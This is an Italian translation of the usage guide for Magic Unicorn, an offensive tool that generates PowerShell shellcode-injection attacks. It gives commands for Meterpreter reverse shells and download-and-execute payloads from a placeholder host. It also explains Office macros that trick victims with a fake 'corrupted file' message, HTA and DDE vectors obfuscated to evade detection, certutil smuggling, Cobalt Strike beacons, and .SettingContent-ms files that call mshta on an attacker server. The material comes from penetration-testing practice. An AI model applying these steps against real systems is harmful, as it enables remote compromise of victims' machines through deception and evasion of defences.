Unicorn è un semplice strumento per utilizzare un attacco di downgrade di PowerShell e iniettare shellcode direttamente in memoria. Basato sugli attacchi PowerShell di Matthew Graeber e sulla tecnica di bypass di PowerShell presentata da David Kennedy (TrustedSec) e Josh Kelly al Defcon 18.
Scritto da: Dave Kennedy (@HackingDave) Sito web: https://www.trustedsec.com
Magic Unicorn è un semplice strumento per utilizzare un attacco di downgrade PowerShell e iniettare shellcode direttamente in memoria. Basato sugli attacchi PowerShell di Matthew Graeber e sulla tecnica di bypass di PowerShell presentata da David Kennedy (TrustedSec) e Josh Kelly al Defcon 18.
L'uso è semplice, basta eseguire Magic Unicorn (assicurati che Metasploit sia installato se utilizzi i metodi Metasploit e nel percorso corretto) e magic unicorn genererà automaticamente un comando PowerShell che dovrai semplicemente copiare e incollare in una finestra del prompt dei comandi o tramite un sistema di distribuzione del payload. Unicorn supporta il tuo shellcode, Cobalt Strike e Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Attacchi di iniezione PowerShell nativi x86 su qualsiasi piattaforma Windows.
Scritto da: Dave Kennedy presso TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Crediti: Matthew Graeber, Justin Elze, Chris Gates
Buoni Magic Unicorns.
Uso: python unicorn.py payload reverse_ipaddr port <opzionale hta o macro, crt>
Esempio PS: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Esempio Macro: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Esempio Macro CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Esempio Macro Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
Esempio HTA: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
Esempio HTA CS: python unicorn.py <cobalt_strike_file.cs> cs hta
Esempio HTA Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
Esempio DDE: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
Esempio CRT: python unicorn.py <path_to_payload/exe_encode> crt
Esempio Personalizzato PS1: python unicorn.py <path to ps1 file>
Esempio Personalizzato PS1: python unicorn.py <path to ps1 file> macro 500
Esempio Cobalt Strike: python unicorn.py <cobalt_strike_file.cs> cs (esporta CS in formato C#)
Shellcode Personalizzato: python unicorn.py <path_to_shellcode.txt> shellcode (formattato 0x00)
Menu di Aiuto: python unicorn.py --help
Tutto è ora generato in due file, powershell_attack.txt e unicorn.rc. Il file di testo contiene tutto il codice necessario per iniettare l'attacco PowerShell in memoria. Nota che avrai bisogno di un luogo che supporti l'iniezione di comandi remoti di qualche tipo. Spesso questo può avvenire tramite un documento Excel/Word o tramite psexec_commands all'interno di Metasploit, SQLi, ecc.. Ci sono così tante implicazioni e scenari in cui puoi usare questo attacco. Basta incollare il comando powershell_attack.txt in qualsiasi finestra del prompt dei comandi o dove hai la possibilità di chiamare l'eseguibile PowerShell e ti restituirà una shell. Questo attacco supporta anche windows/download_exec come metodo di payload invece dei soli payload Meterpreter. Quando usi download and exec, basta mettere python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe e il codice PowerShell scaricherà il payload e lo eseguirà.
Nota che dovrai avere un listener abilitato per catturare l'attacco.
Per l'attacco macro, dovrai andare su File, Proprietà, Barra multifunzione e selezionare Sviluppatore. Una volta fatto, avrai una scheda Sviluppatore. Crea una nuova macro, chiamala Auto_Open e incolla il codice generato al suo interno. Questa verrà eseguita automaticamente. Nota che un messaggio apparirà all'utente dicendo che il file è danneggiato e chiuderà automaticamente il documento Excel. QUESTO È COMPORTAMENTO NORMALE! Questo sta ingannando la vittima facendole credere che il documento Excel sia danneggiato. Dovresti ottenere una shell tramite l'iniezione PowerShell dopo.
Se stai distribuendo questo contro versioni Office365/2016+ di Word, devi modificare la prima riga dell'output da: Sub Auto_Open()
A: Sub AutoOpen()
Il nome della macro stessa deve essere anche "AutoOpen" invece del vecchio schema di denominazione "Auto_Open".
NOTA: QUANDO COPII E INCOLLI IN EXCEL, SE VENGONO AGGIUNTI SPAZI AGGIUNTIVI, DEVI RIMUOVERLI DOPO OGNI SEZIONE DI CODICE POWERSHELL SOTTO LA VARIABILE "x" O SI VERIFICHERÀ UN ERRORE DI SINTASSI!
L'attacco HTA genererà automaticamente due file, il primo index.html che dice al browser di usare Launcher.hta che contiene il codice di iniezione PowerShell dannoso. Tutti i file vengono esportati nella cartella hta_access/ e ci saranno tre file principali. Il primo è index.html, il secondo Launcher.hta e l'ultimo, il file unicorn.rc. Puoi eseguire msfconsole -r unicorn.rc per avviare il listener per Metasploit.
Un utente deve fare clic su Consenti e accettare quando si utilizza l'attacco HTA affinché l'iniezione PowerShell funzioni correttamente.
Il vettore d'attacco certutil è stato identificato da Matthew Graeber (@mattifestation) che ti permette di prendere un file binario, convertirlo in formato base64 e usare certutil sulla macchina vittima per riconvertirlo in binario per te. Questo dovrebbe funzionare praticamente su qualsiasi sistema e ti permette di trasferire un binario alla macchina vittima tramite un file di certificato falso. Per usare questo attacco, posiziona semplicemente un eseguibile nel percorso di unicorn ed esegui python unicorn.py <exe_name> crt per ottenere l'output base64. Una volta terminato, vai alla cartella decode_attack/ che contiene i file. Il file bat è un comando che può essere eseguito su una macchina Windows per riconvertirlo in binario.
Questo metodo di attacco ti permette di convertire qualsiasi file PowerShell (.ps1) in un comando o macro codificata.
Nota se scegli l'opzione macro, un file ps1 grande potrebbe superare il numero di ritorni a capo consentiti da VBA. Puoi modificare il numero di caratteri in ogni stringa VBA passando un intero come parametro.
Esempi:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
L'ultimo userà una stringa di 500 caratteri invece del default 380, risultando in meno ritorni a capo in VBA.
Questo vettore d'attacco genererà la formula DDEAUTO da inserire in Word o Excel. L'oggetto COM DDEInitilize e DDEExecute permettono di creare formule direttamente all'interno di Office che causano la possibilità di ottenere esecuzione di codice remoto senza bisogno di macro. Questo attacco è stato documentato e le istruzioni complete si trovano su:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
Per usare questo attacco, esegui i seguenti esempi:
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
Una volta generato, verrà creato un file powershell_attack.txt che contiene il codice Office, e il file unicorn.rc che è il componente listener che può essere chiamato da msfconsole -r unicorn.rc per gestire il listener per il payload. Inoltre verrà esportato anche un file download.ps1 (spiegato nella sezione successiva).
Per applicare il payload, ad esempio (dall'articolo di sensepost):
Una volta aperto il documento Office, dovresti ricevere una shell tramite iniezione PowerShell. Nota che DDE è limitato sulla dimensione dei caratteri e dobbiamo usare Invoke-Expression (IEX) come metodo per scaricare.
L'attacco DDE tenterà di scaricare download.ps1 che è il nostro attacco di iniezione PowerShell poiché siamo limitati dalle restrizioni di dimensione. Dovrai spostare download.ps1 in una posizione accessibile dalla macchina vittima. Ciò significa che devi ospitare download.ps1 in una directory Apache2 a cui la vittima ha accesso.
Potresti notare che alcuni comandi usano "{ QUOTE" questi sono modi per mascherare comandi specifici, documentati qui: http://staaldraad.github.io/2017/10/23/msword-field-codes/. In questo caso stiamo modificando WindowsPowerShell, powershell.exe e IEX per evitare il rilevamento. Dai anche un'occhiata all'URL poiché ha alcuni ottimi metodi per non chiamare affatto DDE.
Questo metodo importerà direttamente lo shellcode del Beacon di Cobalt Strike direttamente da Cobalt Strike.
All'interno di Cobalt Strike, esporta l'esportazione "CS" (C#) di Cobalt Strike e salvala in un file. Ad esempio, chiama il file cobalt_strike_file.cs.
Il codice esportato sarà simile a questo:
Successivamente, per l'uso:
python unicorn.py cobalt_strike_file.cs cs
L'argomento cs dice a Unicorn che vuoi usare la funzionalità Cobalt Strike. Il resto è Magia.
Poi basta copiare il comando PowerShell in qualcosa su cui hai la possibilità di esecuzione di comandi remoti.
NOTA: IL FILE DEVE ESSERE ESPORTATO NEL FORMATO C# (CS) ALL'INTERNO DI COBALT STRIKE PER ESSERE ANALIZZATO CORRETTAMENTE.
Ci sono alcune limitazioni con questo attacco. Nota che la dimensione del payload sarà poco più di 14k+ in byte. Ciò significa che da una prospettiva di argomento della riga di comando se copi e incolli supererai il limite di dimensione dei caratteri di 8191 (codificato in cmd.exe). Se stai eseguendo direttamente da cmd.exe questo è un problema, tuttavia se stai eseguendo direttamente da PowerShell o altre applicazioni normali, questo non è un problema.
Un paio di esempi qui, wscript.shell e powershell usano USHORT - 65535 / 2 = limite di dimensione 32767:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
Per questo attacco, se stai eseguendo direttamente da powershell, VBSCript (WSCRIPT.SHELL), non ci sono problemi.
Questo metodo ti permetterà di inserire il tuo shellcode nell'attacco Unicorn. Il codice PowerShell aumenterà lo stack di powershell.exe (tramite VirtualAlloc) e lo inietterà in memoria.
Nota che affinché funzioni, il tuo file txt a cui punti Unicorn deve essere formattato nel seguente formato altrimenti non funzionerà:
0x00,0x00,0x00 e così via.
Nota anche che ci sono restrizioni di dimensione. La lunghezza totale del comando PowerShell non può superare la dimensione di 8191. Questo è il limite massimo di dimensione degli argomenti della riga di comando in Windows.
Uso:
python unicorn.py shellcode_formatted_properly.txt shellcode
Poi basta copiare il comando PowerShell in qualcosa su cui hai la possibilità di esecuzione di comandi remoti.
NOTA: IL FILE DEVE ESSERE CORRETTAMENTE FORMALIZZATO IN UN FORMATO 0x00,0x00,0x00 SENZA NIENT'ALTRO CHE IL TUO SHELLCODE NEL FILE TXT.
Ci sono alcune limitazioni con questo attacco. Nota che se la dimensione del tuo payload è grande, non entrerà in cmd.exe. Ciò significa che da una prospettiva di argomento della riga di comando se copi e incolli supererai il limite di dimensione dei caratteri di 8191 (codificato in cmd.exe). Se stai eseguendo direttamente da cmd.exe questo è un problema, tuttavia se stai eseguendo direttamente da PowerShell o altre applicazioni normali, questo non è un problema.
Un paio di esempi qui, wscript.shell e powershell usano USHORT - 65535 / 2 = limite di dimensione 32767:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
Per questo attacco, se stai eseguendo direttamente da powershell, VBSCript (WSCRIPT.SHELL), non ci sono problemi.
Prima di tutto, se non l'hai ancora fatto, vai al fantastico blog di SpectreOps di Matt Nelson (enigma0x3):
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
Questo metodo utilizza un tipo di file specifico chiamato ".SettingContent-ms" che permette la capacità sia di caricamenti diretti dai browser (apertura + esecuzione di comandi) sia di tipo estensione tramite incorporamento in prodotti Office. Questo si concentrerà specificamente sulle impostazioni del tipo di estensione per l'esecuzione dei comandi all'interno del vettore d'attacco PowerShell di Unicorn.
Ci sono più metodi supportati con questo vettore d'attacco. Poiché c'è una dimensione limitata dei caratteri con questo attacco, il metodo per la distribuzione è un HTA.
Per una comprensione dettagliata su come armare questo attacco visita:
https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
I passaggi che dovrai fare per completare questo attacco sono generare il tuo file .SettingContent-ms da un metodo standalone o hta. Il metodo HTA supporta Metasploit, Cobalt Strike e attacchi di shellcode diretto.
I quattro metodi di seguito sull'uso:
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
Esempio HTA SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
Esempio HTA SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
Genera .SettingContent-ms: python unicorn.py ms
Il primo è un payload Metasploit, il secondo Cobalt Strike, il terzo il tuo shellcode, e il quarto solo un file .SettingContent-ms vuoto.
Quando tutto è generato, esporterà un file chiamato Standalone_NoASR.SettingContent-ms nella directory principale di Unicorn (se si utilizza la generazione del file standalone) o nella cartella hta_attack/. Dovrai modificare il file Standalone_NoASR.SettingContent-ms e sostituire:
REPLACECOOLSTUFFHERE
Con:
mshta http://<indirizzo_ip_o_dns_server_apache>/Launcher.hta.
Poi sposta i contenuti di hta_attack in /var/www/html.
Una volta che la vittima fa clic sul file .SettingContent-ms, verrà chiamato mshta sulla macchina vittima, che scaricherà il file Unicorn HTA con le capacità di esecuzione del codice.
Un ringraziamento speciale e complimenti a Matt Nelson per la fantastica ricerca.
Guarda anche: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
Uso:
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms